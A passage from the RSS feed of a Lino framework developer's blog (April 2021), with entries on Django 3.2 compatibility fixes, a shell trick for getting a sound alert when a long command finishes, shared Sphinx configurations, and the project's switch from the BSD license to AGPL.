&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ORDER BY&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StudyType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractEnding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;aids&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AidType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;isip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;immersion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="getting-notified-when-long-running-command-terminates"&gt;
&lt;h2&gt;Getting notified when long-running command terminates&lt;a class="headerlink" href="#getting-notified-when-long-running-command-terminates" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Since &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; takes a minute or more to complete (on my computer), I run
it as follows to get an acoustic notification when it is done:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pm prep --noinput ; espeak done
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;cite&gt;–noinput&lt;/cite&gt; option is useful here because more than once I launched the
process and forget to hit &lt;kbd class="kbd docutils literal notranslate"&gt;ENTER&lt;/kbd&gt; in order to confirm the question:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;We are going to flush your database (.../gerd/settings/default.db).
Are you sure (y/n) ? [Y,n]?
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But typing “; espeak done” each time is a bit tedious. Can’t we optimize this?&lt;/p&gt;
&lt;p&gt;Some surfing:
&lt;a class="reference external" href="https://gordonlesti.com/linux-audio-notification-after-long-running-command-has-finished/"&gt;https://gordonlesti.com/linux-audio-notification-after-long-running-command-has-finished/&lt;/a&gt;
&lt;a class="reference external" href="https://itsfoss.com/notification-terminal-command-completion-ubuntu/"&gt;https://itsfoss.com/notification-terminal-command-completion-ubuntu/&lt;/a&gt;&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ sudo apt install libnotify-bin&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0409.html</guid><pubDate>Fri, 09 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, April 8, 2021</title><link>https://luc.lino-framework.org/blog/2021/0408.html</link><description>&lt;section id="thursday-april-8-2021"&gt;
&lt;h1&gt;Thursday, April 8, 2021&lt;a class="headerlink" href="#thursday-april-8-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="teaching-french"&gt;
&lt;h2&gt;Teaching French&lt;a class="headerlink" href="#teaching-french" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Is there any free vocabulary trainer software that can be used by my students
without installing anything, and where I can enter our set of 45 words, which
they must train?&lt;/p&gt;
&lt;p&gt;Wow, this is quite close! &lt;a class="reference external" href="https://docs.ankiweb.net/#/getting-started"&gt;https://docs.ankiweb.net/#/getting-started&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;sudo apt install anki&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://apps.ankiweb.net/"&gt;https://apps.ankiweb.net/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="make-lino-work-with-django-3-2"&gt;
&lt;h2&gt;Make Lino work with Django 3.2&lt;a class="headerlink" href="#make-lino-work-with-django-3-2" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The first issue was easy, &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.min1.html#module-lino_book.projects.min1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.min1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; caused a series of warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CompanyType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;W042&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Auto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;used&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;defining&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.db.models.AutoField&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
      &lt;span class="n"&gt;HINT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Configure&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_AUTO_FIELD&lt;/span&gt; &lt;span class="n"&gt;setting&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;AppConfig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;default_auto_field&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;point&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;subclass&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;AutoField&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;django.db.models.BigAutoField&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Lino now sets the &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;DEFAULT_AUTO_FIELD&lt;/span&gt;&lt;/code&gt; setting and puts it to
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.db.models.BigAutoField&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Second issue &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.voga1.html#module-lino_book.projects.voga1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.voga1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DurationField&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;db_collation&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was because the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__init__()&lt;/span&gt;&lt;/code&gt; of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.fields.html#lino.core.fields.QuantityField" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.QuantityField&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
was calling &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.Field.__init__()&lt;/span&gt;&lt;/code&gt;. Now it uses &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;super()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The third issue was the most interesting one:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Problem&lt;/span&gt; &lt;span class="n"&gt;installing&lt;/span&gt; &lt;span class="n"&gt;fixture&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;.../lino_voga/lib/cal/fixtures/std.py&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Duration&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the source code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;meeting&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;is_appointment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;fill_presences&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;planner_column&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PlannerColumns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;external&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;default_duration&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1:00&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;str2kw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Meeting&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It’s about quantity fields (&lt;a class="reference external" href="https://dev.lino-framework.org/dev/quantities.html#book-dev-quantities" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Quantities&lt;/span&gt;&lt;/a&gt;).
Has to do with the fact that &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DurationField&lt;/span&gt;&lt;/code&gt; inherits from
&lt;cite&gt;CharField&lt;/cite&gt;, but its values aren’t &lt;cite&gt;str&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I added a &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__len__()&lt;/span&gt;&lt;/code&gt; method to &lt;a class="reference external" href="https://dev.lino-framework.org/dev/quantities.html#lino.utils.quantities.Quantity" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Quantity&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__len__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Until now the value of a QuantityField was a Decimal, not a Quantity. The
Quantity class refused to get instantiated, it was just the base class for
Duration and Percentage.  But now the value of a QuantityField is no longer a
Decimal but a Quantity. The only difference between a Quantity and a Decimal is
that a Quantity has a len() in order to satisfy Django when calling
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Field.clean()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The next issue made me discover a piece of code that I wrote more than 11 years
ago:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ImproperlyConfigured&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20100212&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;identifier&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There was indeed a demo project named &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.20100212&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0408.html</guid><pubDate>Thu, 08 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 7, 2021</title><link>https://luc.lino-framework.org/blog/2021/0407.html</link><description>&lt;section id="wednesday-april-7-2021"&gt;
&lt;h1&gt;Wednesday, April 7, 2021&lt;a class="headerlink" href="#wednesday-april-7-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="shared-sphinx-configurations"&gt;
&lt;h2&gt;Shared Sphinx configurations&lt;a class="headerlink" href="#shared-sphinx-configurations" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did a series of changes in the whole documentation system. We are moving
towards a new feature I’d call “Shared Sphinx configurations”.  The idea was
triggered by &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4085"&gt;#4085&lt;/a&gt; (A common Sphinx config for non-tech docs like cg,
hg and sr), which was triggered by &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4079"&gt;#4079&lt;/a&gt; (Move Hosting Guide section
from book to a separate doctree).  The basic problem is that we have a lot of
Sphinx &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; files and most of them contain redundant information.
And because things evolve over the years, they are quite a mess. For example the
&lt;code class="xref rst rst-role docutils literal notranslate"&gt;&lt;span class="pre"&gt;ticket&lt;/span&gt;&lt;/code&gt; role (used to render for example &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4085"&gt;#4085&lt;/a&gt;) was pointing
to a wrong URL in most doctrees. &lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.html#rstgen.sphinxconf.configure" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or its
child &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.html#lino.sphinxcontrib.configure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now set reasonable default values for
&lt;cite&gt;intersphinx_mapping&lt;/cite&gt; and &lt;cite&gt;extlinks&lt;/cite&gt;. It is now a bit less messy and works for
me, but before writing documentation about it, it needs more work.&lt;/p&gt;
&lt;p&gt;I removed a few redundant settings for which the default value is given by
atelier: master_doc, source_suffix, primary_domain&lt;/p&gt;
&lt;/section&gt;
&lt;section id="change-license-from-bsd-to-agpl"&gt;
&lt;h2&gt;Change license from BSD to AGPL&lt;a class="headerlink" href="#change-license-from-bsd-to-agpl" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yes, Lino goes back from BSD to AGPL. Current discussions are in &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4081"&gt;#4081&lt;/a&gt;,
but topic itself is old. See for example &lt;a class="reference internal" href="../2012/1123.html"&gt;&lt;span class="doc"&gt;20121123&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I decided this as the CEO of Rumma &amp;amp; Ko Ltd, who is the copyright holder. I
previously checked with all active contributors whether they like the decision.&lt;/p&gt;
&lt;p&gt;There are some inactive contributors. For example Joe, who contributed between
June 2013 and October 2014. I remember that Joe told me once that he wouldn’t
like Lino to switch to AGPL.  But I doubt whether he is still interested in the
question, and I don’t need to worry whether inactive contributors agree with my
decision because the BSD gives me permission to change to AGPL. The opposite is
less true, if I got that right, and it’s one of the important reasons for my
decision: if, for whatever reason, some greedy giant would want to take Lino and
turn it into non-free software, they would get only the versions published until
today.&lt;/p&gt;
&lt;p&gt;After having meditated all this for a few weeks, and after changing the licenses
and copyright headers of lino, xl and book some days ago, I now did it for the
remaining repositories:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/rstgen"&gt;rstgen&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/etgen"&gt;etgen&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/atelier"&gt;atelier&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino"&gt;lino&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/xl"&gt;xl&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/noi"&gt;noi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/cosi"&gt;cosi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/voga"&gt;voga&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/care"&gt;care&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/vilma"&gt;vilma&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/avanti"&gt;avanti&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/tera"&gt;tera&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/lets"&gt;lets&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/book"&gt;book&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/welfare"&gt;welfare&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/weleup"&gt;weleup&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/weleup"&gt;welcht&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/presto"&gt;presto&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/mercato"&gt;mercato&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/pronto"&gt;pronto&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/mentori"&gt;mentori&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/ext6"&gt;ext6&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/react"&gt;react&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/amici"&gt;amici&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/ciao"&gt;ciao&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/getlino"&gt;getlino&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/openui5"&gt;openui5&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
